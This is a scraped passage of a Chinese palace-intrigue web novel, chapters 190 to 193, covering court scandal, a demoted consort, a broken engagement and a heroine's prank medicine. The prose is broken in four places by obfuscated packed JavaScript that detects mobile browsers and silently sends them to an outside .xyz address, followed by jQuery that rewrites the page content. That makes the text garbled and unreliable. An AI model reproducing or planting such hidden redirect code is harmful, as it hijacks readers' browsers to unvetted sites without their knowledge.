;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863846|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧锦瑜深深地看了她一眼,转身离去,只留下一句承诺:“本王会尽快。” 离开张府后,萧锦瑜径直入宫。 御书房外,他向大总管陈顺说明来意,却见陈顺脸上掠过一丝极不自然的尴尬,躬身道:“肃王殿下,陛下今日……怕是不太方便,您看,是否改日再来?” “无妨,”萧锦瑜负手而立,语气平静却不容置喙,“本王就在此等候。” “这……”陈顺额角隐隐见了汗,却也不敢再劝,只得道,“那……奴才再去通禀一声。” 然而,这一等,便是一炷香的工夫。 萧锦瑜眉头微蹙,心中升起一丝疑窦。 御书房乃国事重地,究竟是哪位重臣,竟能与父皇议事如此之久? 又过了片刻,殿门才终于打开,陈顺躬着身子请他进去。 刚一踏入,一股甜腻温热的香气便扑面而来,并非御书房惯用的凝神静气的檀香,而是一种令人心浮气躁的脂粉气。 他心下微沉,面上却不露分毫。 “儿臣锦瑜,叩见父皇。”萧锦瑜抬起头,正对上皇帝的脸,只见龙椅上的父皇面色潮红,双颊透着一股酒色未褪般的酡红,他下意识地问,“父皇可是饮酒了?” 一旁的陈顺连忙抢着解释:“回殿下,陛下近来服用丹药调理龙体,故而面色红润,气色极佳。” “是么?”萧锦瑜的目光扫过四周,总觉得这间熟悉的御书房,连同他的父皇,都透着一股说不出的怪异。 “老二寻朕,所为何事?”皇帝半倚在龙椅上,语调透着几分慵懒与不耐。 萧锦瑜敛了敛容,说明来意:“儿臣恳请父皇恩准,解除儿臣与尚书府张氏之女的婚约。” “原来是为此事而来。”皇帝不耐地挥了挥手,“准了。朕会即刻下旨。日后这等小事,不必专程来见,让陈顺传话便是。” “是,儿臣告退。” 萧锦瑜躬身告退,转身之际,心中那股挥之不去的怪异感让他下意识地朝龙案下瞥了一眼。 只此一眼,他便如遭雷击,浑身的血液仿佛都凝固了。 龙案宽大的下摆处,静静躺着一只精巧的绣花软鞋。 原来如此。 那满室甜腻的香气,那欲盖弥彰的丹药说辞,还有父皇那异样的潮红……所有的一切,瞬间都有了答案。 在处理国事的御书房内,竟行如此荒唐不堪之事! 萧锦瑜垂眸,掩去眼底翻涌的惊怒。 自幼,他便被教导以忠君为本,可此刻,那张龙案下刺眼的绣花鞋,宛如一柄利刃,狠狠刺穿了他多年来的信仰。 龙椅上之人,醉心声色,荒废朝纲,真的值得他誓死效忠吗? 第190章 藕断丝连 第一百九十章藕断丝连 萧锦瑜的身影刚消失在殿门外,一抹水蛇般滑腻妖冶的身影便从龙案下悄然探出。 御书房里充斥着旖旎的奇异芳香,香妃果露的香肩光洁如玉,一双媚眼流转着勾魂摄魄的波光:“陛下,肃王殿下……可走远了?” 皇帝低笑一声,将她从地上抱起,安置在自己腿上。 “爱妃莫怕,老二向来木讷忠孝,就算撞见了,也断不敢吐露半个字。” “那便好,臣妾就怕被人扣上‘红颜祸水’的帽子,污了陛下的圣名。”香妃娇声软语,委屈地撇了撇嘴。 “祸水?朕甘之如饴!”皇帝贪婪的目光在她玲珑的曲线上游走,“后宫那些嫔妃,一生了皇嗣,便如失了水分的花,没了半点吸引力。唯有爱妃,就算生了公主,却越发娇艳欲滴,让朕如何能不爱?” “能得陛下垂爱,是臣妾几世修来的福分。只是……”她话锋一转,幽幽地伸出雪白的皓腕,上面几道青紫的淤痕触目惊心,“熙贵妃近日常召臣妾去她宫中,动辄便是罚跪打骂,臣妾……实在撑不住了。” 皇帝见状,顿时勃然大怒:“这个毒妇,当真越来越放肆!” 话音未落,殿外骤然响起内侍总管陈顺惊惶的呼喊,夹杂着宫人慌乱的脚步声:“熙贵妃!您不能进去啊!快,快拦住贵妃娘娘!” “本宫看谁敢拦!”熙贵妃凌厉的怒喝声已至门前。 香妃顿时如惊弓之鸟,连忙从皇帝怀中挣脱,慌乱地整理着凌乱的衣衫。 皇帝好事被打扰,龙颜大怒。 在熙贵妃推门闯入的瞬间,他厉声呵斥:“熙贵妃,你好大的胆子!” “臣妾见过陛下……”熙贵妃的礼才行到一半,目光便死死钉在皇帝身旁那衣衫不整、媚眼如丝的香妃身上,她瞬间失控尖叫:“你这**怎么会在此处?!难怪本宫隔着老远就闻到一股子骚狐狸味儿,原来是你!” 香妃立刻换上一副泫然欲泣的无辜模样:“是陛下……命臣妾在此侍奉笔墨的。” 熙贵妃怒极反笑:“御书房乃国事重地,岂容你这等货色在侍奉笔墨?!本宫看你是趁机行狐媚之术!来人,把这个魅惑君上、以色侍君的**给本宫拖出去!” “放肆!”皇帝猛地一拍龙案,震怒道,“擅闯御书房,还在此处大呼小叫,熙贵妃,你眼中还有没有朕!陈顺,拟旨!即刻起,废熙贵妃为妃位,香妃柔嘉有德,晋为贵妃!即刻生效!” 熙贵妃闻言,脸色惨白如纸:“陛下,您要将臣妾贬为妃子?臣妾为您生了三皇子,臣妾的兄长更是镇国大将军……” “住口!”皇帝冷声打断她,“你那好儿子,西行剿匪寸功未立,反倒害**顾御史的独子,是朕替他压下了滔天罪责!你那好兄长,当初行刺朕的刺客便出自他的麾下!朕念及旧情不予追究,你还敢拿他们来压朕?!” “陛下……” “拖下去!”皇帝再不看她一眼,声音冰冷刺骨,“没有朕的旨意,再敢踏足御书房半步,格杀勿论!” 熙贵妃被侍卫强行拖拽出去,临走时,她投向香妃的目光充满了怨毒。 殿内恢复死寂,新晋的香贵妃立刻跪倒在地,泪水涟涟,感动不已:“谢陛下隆恩,为臣妾做主!” “爱妃快起来。”皇帝将她重新拥入怀中,手已不规矩地探入她衣衫之内,“还是爱妃说得对,越是御书房这种禁地,行鱼水之欢越是别有滋味……朕今日,才算尝到了什么叫蚀骨销魂!” 香贵妃佯装羞涩,顺势拿起桌案的丹药瓶,玉指捻起一粒赤色丹丸,递到皇帝嘴边:“陛下,服下此物,滋味……更甚。” 皇帝毫不犹豫地张口吞下,眼中已是情迷意乱,口中喃喃自语:“母后举荐的方士果真神通广大,这仙丹朕服下后,只觉龙体一日比一日强健……” 熙妃被贬,心中不甘,她本想去找太后,但太后身旁的吴嬷嬷告诉她,太后最近身子抱恙,不便见客。 无奈之下,她只能转而去坤宁宫找皇后诉苦。 “皇后娘娘,香贵妃那狐媚子在御书房里行那等下作之事,陛下却对她百般纵容,臣妾实在咽不下这口气!娘娘是后宫之主,怎能容她如此放肆?” 皇后闻言,嘴角勾起一抹意味不明的笑:“熙妃,你这话说得有趣。陛下宠谁不宠谁,本宫何必插手?再者,香贵妃如今风头正盛,你在她面前吃了亏,跑来本宫这里诉苦,怕是找错了人。” 熙妃脸色一僵,没想到皇后如此不留情面。 她咬了咬牙,索性撕破脸:“皇后娘娘,恕臣妾直言,您母族式微,若非陛下这些年护着,太子的储君之位怕是早就保不住了!香贵妃那狐媚子日日勾着陛下,掏空他的身子,若陛下真有个三长两短,您母子的处境才是最危险的!” 皇后闻言,眼中闪过一抹冷意, 她缓缓起身,步步逼近熙妃,声音低沉却带着无形的威压:“熙妃,你好大的胆子,竟敢在本宫面前危言耸听!你管好你自己吧,太子是大邺的储君,这一点,永远不会改变!至于陛下宠爱香贵妃……” 她顿了顿,嘴角泛起一抹嘲讽,“本宫早已习惯,熙妃你受宠多年,怕是忘了,陛下从来不属于后宫任何一个女人!” 熙妃被她这番话刺得心头一颤,脸上血色尽失。 她想起当年自己盛宠时,是如何在皇后面前耀武扬威的。 皇后这是在嘲讽奚落她! 她攥紧拳头,强压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863847|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住怒火,转身拂袖而去:“好!好!皇后娘娘既然如此说,那臣妾就等着看,香贵妃那**能得意到几时!” 皇后看着她离去的背影,冷哼一声,眼中尽是厌恶。 自从得知皇帝赐给太子的丹药,竟害太子吐血昏迷,她对皇帝早已没了半分情意。 她心如明镜,自己与太子,不过是皇帝用以制衡朝堂的两枚棋子。 帝王既要倚仗门阀世家的势力以稳固江山,又深恐其尾大不掉,反噬君权。 所以,才有了她这个母族凋零的皇后,以及太子这个孤立无援的储君。 如今她巴不得皇帝早日垮了,好让太子顺利登基。 熙妃越想越不甘心,干脆直接去了萧修湛的麟阁宫。 她一见他,便将满腔怒火倾泻而出:“湛儿,你可知那香贵妃有多下作!她在御书房里勾引陛下,害得本宫被贬为妃子!你若再不替本宫出头,咱们母子在这后宫还怎么立足?” 萧修湛本就对凝香有几分情意,更何况他深信凝香所生的小公主乃是自己的骨肉,对她更是多了几分怜惜与偏袒。 见母妃出言诋毁凝香,他眉心紧锁,语气带着几分不耐:“母妃,香贵妃是父皇的妃子,得宠也是人之常情。您何必非要与她过不去?” 熙妃闻言,气得差点晕过去,指着他颤声道:“你……你竟然替那**说话!她一个青楼女子,如今位份竟比本宫高,都踩在本宫的头上了!大邺后宫何来如此特例?她分明是个妖精!” 萧修湛目光一闪,语气低沉:“母妃,宫闱之事,本就无所谓对错。您这些年盛宠惯了,半点不肯示弱,父皇不喜也是人之常情。” 这话如同一把刀,直插熙妃心口。 她不可置信地看着自己的儿子:“湛儿,你……你竟然如此说本宫?!好,是本宫活该,活该失宠,活该被你父皇贬位份!” 熙妃被气得火冒三丈,拂袖而去。 一旁的姜瑶真见状,忍不住开口:“殿下,香贵妃日日魅惑陛下,害得娘娘受此**,您为何还处处维护她?” 萧修湛眼神闪烁,避开她的目光:“真儿,宫里的事,哪有那么简单?母妃性子太强,父皇不喜也在情理之中。” 姜瑶真心头一紧,女人的直觉让她嗅到一丝不对劲。 她试探道:“殿下,香贵妃如此放肆,莫不是……你的手笔?” “荒唐。”萧修湛蹙眉看她,“我为何要扶植一个女人,来与我母妃争宠?真儿,你想得太多了。” 姜瑶真心头一沉,萧修湛的反应证实了她的猜测。 一个男人维护一个女人,若非为了“利”,那便只剩下……“情”。 他与香贵妃还藕断丝连! 第191章 开屏孔雀 第一百九十一章开屏孔雀 这一刻,姜瑶真是有些后悔的。 当初和姨娘千挑万选,选了萧修湛作为自己的跳板。 可万万没想到,人算不如天算。 这原本大邺皇帝最宠爱的皇子,如今不仅连个封号都没捞着,母妃还失了宠爱,他所谓的助力、支持,也不过是多娶几个能绑定利益的女子。 可如今,她后悔也无济于事。 她的姨娘死在萧凌川手中,她要报仇,除了依靠萧修湛,别无他法。 从前,她不明白姨娘为何执着于助南月夺取大邺江山。 如今她才恍然大悟:若无南月的支持,即便萧修湛登上帝位,她最好的归宿也不过是个空有虚名的皇后,手中无权势,连自保都难。 她深吸一口气,眼神逐渐坚毅。 当务之急,是尽快与南月取得联系。 她这南月公主的后裔,必须站稳脚跟,用大邺的军情换取南月的认可! —— 另一边,萧锦瑜与张嫣退婚的消息传遍了整个京城。 萧锦瑜如今又变成没有婚配之人,很快便成为世家贵女争相追逐的佳婿,风头无两。 张嫣则相反,无故被退了婚,名声一落千丈,成了众人茶余饭后的笑柄。 翠竹院内,夏蝉轻叹:“可惜了张姑娘,怕是再难找到如肃王殿下这般条件的人了。” 姜姝宁神色淡然:“张嫣并不心悦肃王,退婚对她而言,未必不是解脱。” 夏蝉不解,嘀咕道:“心悦当真如此重要吗?奴婢总觉得,对于深闺女子而言,男方的门第身份才是根本,毕竟那是一辈子要依靠的根基。” 姜姝宁闻言,眸光微暗,不由想起前世自己不惜一切嫁给萧凌川,却落得满盘皆输的凄惨下场。 她唇角泛起一抹自嘲的苦笑,幽幽道:“心悦自然不是最重要的,但张姑娘还没懂得这个道理。” 就算有朝一日她真能如愿嫁给萧怀瑾,就能保证过上幸福的生活吗? 说不定会跟前世的自己那样,在深宅蹉跎一生,郁郁寡欢。 “大小姐!”凌芜急匆匆跑来,打断她的思绪,“奴婢打听到,苏府正在置办嫁妆,苏姑娘竟是与三皇子定了亲!” 姜姝宁眉心一跳。 没想到兜兜转转,苏家还是与萧修湛绑在了一起。 原本能为大邺皇室所用的苏氏财力,如今却成了萧修湛的私人钱袋。 她沉声吩咐道:“凌芜,去景王府一趟,把这消息告诉景王殿下。” “大小姐……”凌芜眨了眨眼,“你不一起吗?奴婢上次听凌风大人说,王爷想念大小姐做的杏仁饼了!” 姜姝宁想起上次萧凌川调侃她,说她这个盟友半点作用也没有,问她是不是只想将来侍寝了事,脸上顿时浮起一丝冷笑。 若再不让萧凌川见识见识自己的能耐,往后不知道还要被奚落多少回。 “那便一起去吧!夏蝉,去做些杏仁饼来,我待会带去景王府。” 凌芜一愣:“大小姐,您不亲手做吗?” 姜姝宁冷哼一声:“景王的嘴已被养刁,再惯着他,往后连寻常饭菜都吃不下了。他也是时候吃点寻常手艺了!免得日后我这盟友,只剩伺候他口腹之欲的份儿。” 凌芜眼角微抽:大小姐这话怎么夹枪带炮的? 景王殿下,你是不是又得罪大小姐了? 景王府花厅之中,姜姝宁一眼便注意到萧凌川今日身着一袭紫红锦袍,华贵异常。 他本就生得俊美无俦,眉眼如画,如今穿上这艳色衣衫,更衬得他夺目至极,仿若画中谪仙。 姜姝宁忍不住压低声音,对身旁的凌芜揶揄道:“王爷今日怎穿得如开屏孔雀一般招摇?” 凌芜嘴角微抽,强忍笑意,不敢接话。 心下暗忖:还能为何?不就是为了入大小姐您的眼么? 萧凌川远远瞧见姜姝宁望向自己的眼神平静如水,毫无波澜,心头莫名泛起一阵失落。 前世,他只要穿上艳色衣衫,她便会目不转睛地凝视着他,眼底满是藏不住的惊艳。 有一次,她的贴身侍女冬梅瞧见了,笑问:“王妃,您在看什么呢?” 她羞红了脸,嗫嚅道:“冬梅,你不觉得……王爷穿艳色衣裳,格外丰神俊朗吗?” 当时,他就在不远处,以习武之人的敏锐耳力,将这话听得一清二楚。 表面装作未闻,心底却早已荡起层层涟漪。 前世,他多穿暗色衣衫,身为大邺最不受宠的皇子,行事低调,不敢张扬。 如今好不容易扭转局面,他便特意投其所好,换上这身艳丽衣裳,只盼能再见她眼中的惊艳与在意。 可谁知,她的目光却冷淡至极,仿若未见。 萧凌川心头一紧,暗自苦笑:莫非,连这张她曾为之痴迷的皮相,如今也无法让她多看一眼了吗? “王爷,你有在听吗?”姜姝宁的声音将他的思绪拉了回来,“如今苏家已经决定将女儿嫁给三皇子,想来苏家很快便会成为三皇子的助力。此事,王爷觉得应当如何应对?” 萧凌川敛了敛眸:“苏家愿意支持萧修湛就让他们去支持吧,不过蛇鼠一窝,不足为惧。” “如此看来,王爷是有了应对的策略?”姜姝宁追问道,“可否透露一二?” 萧凌川一愣,没想到她对此事如此上心。 “苏家一半家业入了国库,如今元气大伤,商人又重利,想必很快会和萧修湛勾结,继续从事人牙买卖和赌场生意,届时,要抓住他们的把柄,易如反掌!” 姜姝宁眉头紧蹙:“所以,王爷不准备阻止他们成婚?苏氏财力雄厚,本可为大邺所用,造福黎民,如今却要眼睁睁看他们投向萧修湛,误入歧途? 更何况,殿下明知苏氏暗中经营人牙买卖、赌场营生,这些腌臜勾当害人无数,若放任自流,受害的终究是无辜百姓!若到时抓不到他们的确凿把柄,王爷又当如何?难道为了所谓的证据,就要让黎民百姓先蒙受苦难吗?” 萧凌川被姜姝宁的话噎得一滞,俊美的脸上闪过一丝不易察觉的窘迫。 他轻咳一声,掩饰片刻的失态,沉声道:“那依你之见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873390|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应当如何行事?” 姜姝宁目光如炬,神色坚定:“自然是将祸患扼杀于摇篮之中!阻止苏氏与三皇子的联姻,绝不让苏家的财力成为萧修湛的臂助!” 萧凌川闻言,眉梢微挑,故意叹息道:“谈何容易!当初若非五弟在众目睽睽之下与苏氏女退婚,今日又何来这般局面?啧,五弟倒是狠心,退了婚,自己得了清闲,却毁了苏氏女的清誉,往后怕是再难觅良缘!” 姜姝宁神色淡然,像是听不出他话中有话,语气清冷道:“王爷,此事交由臣女,臣女自有办法化解!” “那便交给你来办!”萧凌川一边说着,一边将食盒里的杏仁饼拿出一块尝了一口,眉头紧蹙,“这杏仁饼怎么跟平时味道不一样?” 姜姝宁不为所动:“有吗?定是王爷口味变刁钻了。” 萧凌川抬眸,目光直勾勾地看着她:“这杏仁饼当真是你亲手做的?” 姜姝宁迎着他的目光,神色毫无波澜:“自然。王爷不喜欢吗?那臣女往后都不做了!” 一旁的凌芜暗自腹诽:大小姐,您这睁眼说瞎话的本事,真是炉火纯青! “倒也……不是。”萧凌川讪讪道,“许是本王今日胃口不好,尝不出味道。” “巧了,王爷,臣女最近正在研究如何配药,若您不嫌弃,臣女可以给您配一副调理肠胃的良药。”姜姝宁一本正经道。 萧凌川一怔,忙不迭道:“不必了……” “臣女身为王爷的盟友,别的忙帮不上,替王爷调理身子,总还能尽点绵薄之力吧?” 萧凌川见她如此坚持,点了点头:“那便有劳姜姑娘了。” 姜姝宁当下不仅给萧凌川开了药,还亲自煎煮了汤药。 看着她在后厨忙碌的身影,凌风忍不住道:“王爷,属下觉得姜姑娘心中是有你的,熬药这等苦差事,她竟亲力亲为,实在难得!” 萧凌川闻言,唇角不自觉上扬,心头泛起一丝甜意。 他想起前世自己卧病在床时,姜姝宁红着眼眶、轻声细语喂他喝药的模样,笑着道:“姜姑娘对本王,素来上心。” 等药熬出来后,他便笑不出来了。 一股浓烈刺鼻的苦涩气息扑面而来,夹杂着几分诡异的辛辣,直冲天灵盖。 他眉头紧锁,盯着那碗乌黑如墨的药汁,喉头不自觉地滚动了一下。 姜姝宁殷勤催促道:“王爷,快趁热喝吧,凉了可就失了药效。” “此药……”萧凌川斟酌着措辞,试图挣扎,“也不是是非喝不可吧?” 那药味浓烈得仿佛能将人熏晕,他甚至怀疑,若一口下去,怕是要苦得魂飞魄散。 “王爷不肯喝,是信不过臣女的医术吗?还是说,怕臣女在药里下毒?”姜姝宁一副受伤的表情,“既然王爷如此不信任臣女,往后臣女便什么都不做了,免得自讨没趣!” “本王不是这个意思……”萧凌川无奈道,“本王喝,本王喝还不行吗?” 区区一碗汤药罢了,能苦到哪里去? 萧凌川接过姜姝宁手中的碗,仰头一饮而尽…… 第192章 美男子的杀伤力 第一百九十二章美男子的杀伤力 药汤一入口,萧凌川便后悔了。 那味道苦涩中裹挟着诡异的辛辣,似一团烈焰直冲喉咙,烧得他胃里翻江倒海。 他抬眼,对上姜姝宁那双直勾勾盯着他的眼眸,只能硬着头皮咽下去。 一碗饮尽,他脸都绿了,表情有几分龟裂,像是吞了一团苦辣交织的火球,烫得他五脏六腑都在**。 他咳了两声,强压住不适,哑声道:“姜姑娘,这药……怎会让人胃里似火烧一般?” “王爷有所不知,如今天寒,您肠胃不适,定是染了风寒。臣女特意在药中加了温补之物,暖胃驱寒,喝下去自会有些热意。”姜姝宁解释得滴水不漏。 萧凌川胸口憋闷,只得咬牙道:“姜姑娘有心了……本王药已喝下,姜姑娘若无他事,便先回去吧。本王稍后还需……”还需将这鬼东西吐个干净! 姜姝宁瞧着他那强忍痛苦的模样,心中暗笑,面上却依旧不动声色:“既如此,臣女便不多叨扰。只是王爷,臣女还配了几副药,您可得叮嘱下人,每日三次,熬好喝下,千万别忘了!” “有劳姜姑娘,凌风,送客。” 待姜姝宁款款离去,萧凌川再也按捺不住,运转内力,硬生生将那股令人抓狂的药味逼出体外,吐得一干二净。 凌风匆匆返回,见他脸色苍白,忙上前搀扶:“王爷,您没事吧?” “无妨。”萧凌川摆摆手,沉声道,“去请孙神医来,查查姜姑娘这药里到底放了些什么!” 不多时,孙神医匆匆赶到,细细检查药方后,禀告道:“王爷,此药含穿心莲、龙胆草、苦参,另有少许花椒与辣椒干……” 凌风一脸难以置信:“这哪是药?分明是姜姑娘拿王爷开涮!谁家药方还加花椒辣椒?还有另外这几味药,不都是出了名的苦吗?” 萧凌川哭笑不得:“难怪又苦又辣,险些要了本王的命!” 他原以为姜姝宁是关心他,谁料她竟借机“报复”。 自己又哪里得罪她了? 他低叹一声,眉宇间染上几分无:“姝宁,你心真狠……” 有点心眼全都用来对付他了! 马车内,凌芜偷偷瞥了眼姜姝宁,见她唇角微扬,眉眼间藏着几分狡黠笑意,忍不住开口:“大小姐,方才您那样整王爷,是不是……有些不妥啊?” 姜姝宁不以为然:“整人嘛,自然要让他不好过!若他舒舒服服的,我这番心思岂不白费了?” 凌芜嘴角微抽:“奴婢的意思是,王爷瞧着也挺可怜的,大小姐您这药下得……着实狠了些吧?” 方才王爷喝了药之后的表情,实在有些……一言难尽。 在王爷身边那么多年,她还是第一次看到王爷如此难堪的模样。 “若我真狠,哪会只下苦参和辣椒?早给他下泻药,让他三日三夜离不开茅房;要么下点损阳气的药,让他此生都当不成男人!”姜姝宁顿了顿,唇边笑意更深,“凌芜,这,才是真狠!” 凌芜顿时头皮发麻。 王爷,大小姐好像视你为仇敌,您还是自求多福吧! 姜姝宁瞧她那副胆战心惊的模样,扑哧一笑:“瞧你吓的,我不过是开个玩笑罢了,别放心上!” 凌芜哭笑不得:大小姐,这玩笑可一点都不好笑! 姜姝宁敛了笑意,掀开车帘对马夫道:“老杨,掉头去苏府!” 凌芜一愣:“大小姐,苏姑娘之前那般算计您,您怎还主动去苏府?你就不怕……” “从前她与五皇子有婚约在身,误以为我和五皇子有情愫,这才妒恨算计我。”姜姝宁神色浅淡,“如今她既与五皇子解了婚约,便没了与我为敌的理由。唯有从她入手,才能说服苏府取消婚事,断了三皇子的助力!” 凌芜听罢,眼神一亮,忙点头道:“大小姐高见!您放心,奴婢定护您周全,绝不让那苏姑娘有机会伤你!” 她们刚到苏府门口,还未踏入,便被守门的下人拦住去路。 苏婉在府内听到姜姝宁来访的消息,气得柳眉倒竖:“她来做什么?特意跑来看我笑话不成?简直欺人太甚!去,把她给我轰出去,休想踏进我苏府半步!” 下人得了主子的吩咐,来到门口,冷着脸对姜姝宁下逐客令:“姜姑娘,请回吧,我们小姐今日不便见客!” 凌芜拉了拉姜姝宁的衣袖:“大小姐,这苏姑娘摆明了不愿见咱们,咱们该如何是好?” 姜姝宁却似早有预料,笑着对那下人道:“苏姑娘刚经历退婚之事,心情不佳也在情理之中。想必她如今定然披头散发、容颜憔悴,实在不方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873391|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见客。是我等唐突了。这样吧,待苏姑娘恢复了往日神采,我们再来拜访不迟!” 说罢,她微微颔首,作出一副善解人意的模样,转身拉着凌芜便回马车。 待下人将姜姝宁的原话一字不漏地传回苏婉耳中,苏婉气得脸色铁青:“好你个姜姝宁,竟敢如此讥讽于我!披头散发?容颜憔悴?她当本小姐是什么人了!本小姐乃京城首富的掌上明珠,岂是一个小小的退婚就能让我一蹶不振?来人,速去给姜姝宁送一张请帖,邀她明日来苏府饮茶!” 下人听罢,面露诧异,忍不住小心翼翼地提醒:“小姐,您之前不是说要与那姜姑娘老死不相往来吗?怎又……” “哼!我是不想与她结交,但也绝不能让她小瞧了去!”苏婉冷哼一声,眼底闪过一抹不甘与倔强,“明日,我定要让她亲眼瞧瞧,本小姐依旧光彩夺目,让她自惭形秽,后悔今日的狂言!” 姜府很快便收到了苏婉送来的请帖。 凌芜将请帖递到姜姝宁手中,竖起大拇指:“大小姐,您这招激将法果然厉害!昨日才在苏府门口戳了她的痛处,今日她便巴巴地送来请帖,分明是憋着一口气,要在您面前争回面子呢!” 姜姝宁接过请帖,轻轻扫了一眼,唇角微微上扬。 “你去搜罗一些京城美男子的画像,记得要找些家境一般、尚未婚配的男子。准备妥当后,明日我们一起带进苏府。” 凌芜顿时愣住,满脸不解:“大小姐,带男子画像去苏府做什么?” 姜姝宁抬起眼,笑意愈发狡黠:“自然是……要做媒啊!” “做媒?给苏姑娘做媒?”凌芜扑哧一笑,“大小姐,您怕是要白忙活了!这苏姑娘好歹是京城首富之女,眼高于顶,就算被退婚了,也能和三皇子结亲,她怎可能瞧得上家境一般的穷小子?” “所以才让你找美男子啊!皮相好看,便能弥补身份不高、财力不足的短板。男人嘛,有时候一张脸,便能乱了女人的心。” 姜姝宁前世栽过跟头,比谁都清楚美男子的杀伤力。 她不信苏婉能不为所动。 凌芜却持怀疑态度。 她心想,若真这么管用,大小姐你怎么对长相昳丽的王爷如此冷漠? 要知道,这京城里能比王爷容貌更出色的男子,屈指可数啊! 第193章 嫁人哪有招亲好? 第一百九十三章嫁人哪有招亲好? 第二日,姜姝宁带着凌芜前往苏府。 苏婉果然盛装出席,身着最名贵的云锦华服,裙摆上绣着繁复的金丝凤凰,熠熠生辉;头上插满了各色宝石珠钗,流光溢彩;脖颈间、腕间更是挂满了珍稀首饰,叮当作响,似是恨不得将苏家半个家底都挂在身上,好让姜姝宁高看一眼。 一想到她随便一点首饰就能抵京城一座府邸,姜姝宁就愈发觉得今日这一趟来得有必要。 这么多财力,决不能给萧修湛这个卑鄙小人用! 苏婉瞥见凌芜手中提着的字画,嘴角勾起一抹嘲讽:“姜姑娘,这字画便是你的登门礼?我们苏府什么名贵珍宝没见过,你这点东西,怕是连我家库房门槛都迈不进来!” 姜姝宁丝毫不恼,唇角扬起一抹从容笑意,语气轻缓却暗藏锋芒:“苏府自然是财大气粗,区区字画确实难入苏姑娘法眼。我今日来,不过是听闻苏姑娘与三皇子殿下定下亲事,特来道贺。苏府出手向来阔绰,想必三皇子殿下的聘礼也定是价值连城吧?” 此话一出,苏婉脸色陡然一僵,眼中闪过一丝难堪。 她强撑着笑意,声音却有些发紧:“我们苏家什么没有?聘礼这种小事,我压根不放在心上!” “哦?”姜姝宁故作惊讶,语气却带着几分揶揄,“聘礼可是男子娶妻的诚意。三皇子殿下若真心求娶苏姑娘,怎会连像样的聘礼都不备?还是说……三皇子殿下根本没这份诚意?” 苏婉被这话戳中痛处,脸上的笑意再也挂不住,声音陡然拔高:“姜姝宁,你少在这挑拨离间!三皇子殿下乃皇室贵胄,身份尊贵无比,我嫁给他,已是苏家高攀,聘礼算什么?就算没有,我也甘之如饴!” “身份尊贵?”姜姝宁轻笑一声,眼中闪过一抹冷意,“苏姑娘莫非没听说?三皇子母妃前些日子刚被贬了妃位,偌大的后宫,生了皇子的嫔妃中,唯独她连贵妃都不是。这样的‘尊贵’,怕是也经不起推敲吧?” “姜姝宁!”苏婉气得脸色铁青,猛地拍案而起,“别以为我看不透你的心思!你不就是怕我嫁给三皇子,挡了你的路?姜瑶真早就说过,你最擅长在男人间周旋,怕是担心三皇子娶了我,便不会再多看你一眼,才故意用这些话来挤兑我!” 姜姝宁闻言,嗤笑出声,目光却冷了几分:“苏姑娘竟还信姜瑶真的鬼话,难怪被她耍得团团转!她生辰宴那日,你、张嫣和她联手算计我,结果如何?她为了自保,当众与你撇清关系!这样的人,你不敬而远之,还想拿苏家的万贯家财去和她共事一夫,甘心当个低她一等的侧妃,日日受她磋磨。苏婉,你当真要如此作践自己?” 这话如同一记重锤,狠狠砸在苏婉心头。 她脑海中不由浮现那日生辰宴上姜瑶真冷漠推脱的嘴脸。 若真嫁给三皇子,做了侧妃,岂不是日后都要在她面前低头,受她算计? 苏婉攥紧了手中帕子,眼神中闪过一丝动摇。 片刻后,苏婉瞪向姜姝宁,目光满是幽怨:“若不是因为你,五皇子怎会跟我退亲?我又怎会落到如今这步田地?说到底,都是你的错!” 姜姝宁怒极反笑:“苏姑娘这话有意思了。你们联手算计我,难道还要我乖乖受你们摆布?从始至终,我从未主动害你,反倒是你,莫名其妙对我怀有敌意,还用那些拙劣手段来陷害我!今日这局面,不过是你自食恶果!” 苏婉被戳中痛处,气得泪水夺眶而出:“姜姝宁,你伶牙俐齿,今日特意上门,就是来看我笑话的吧?” 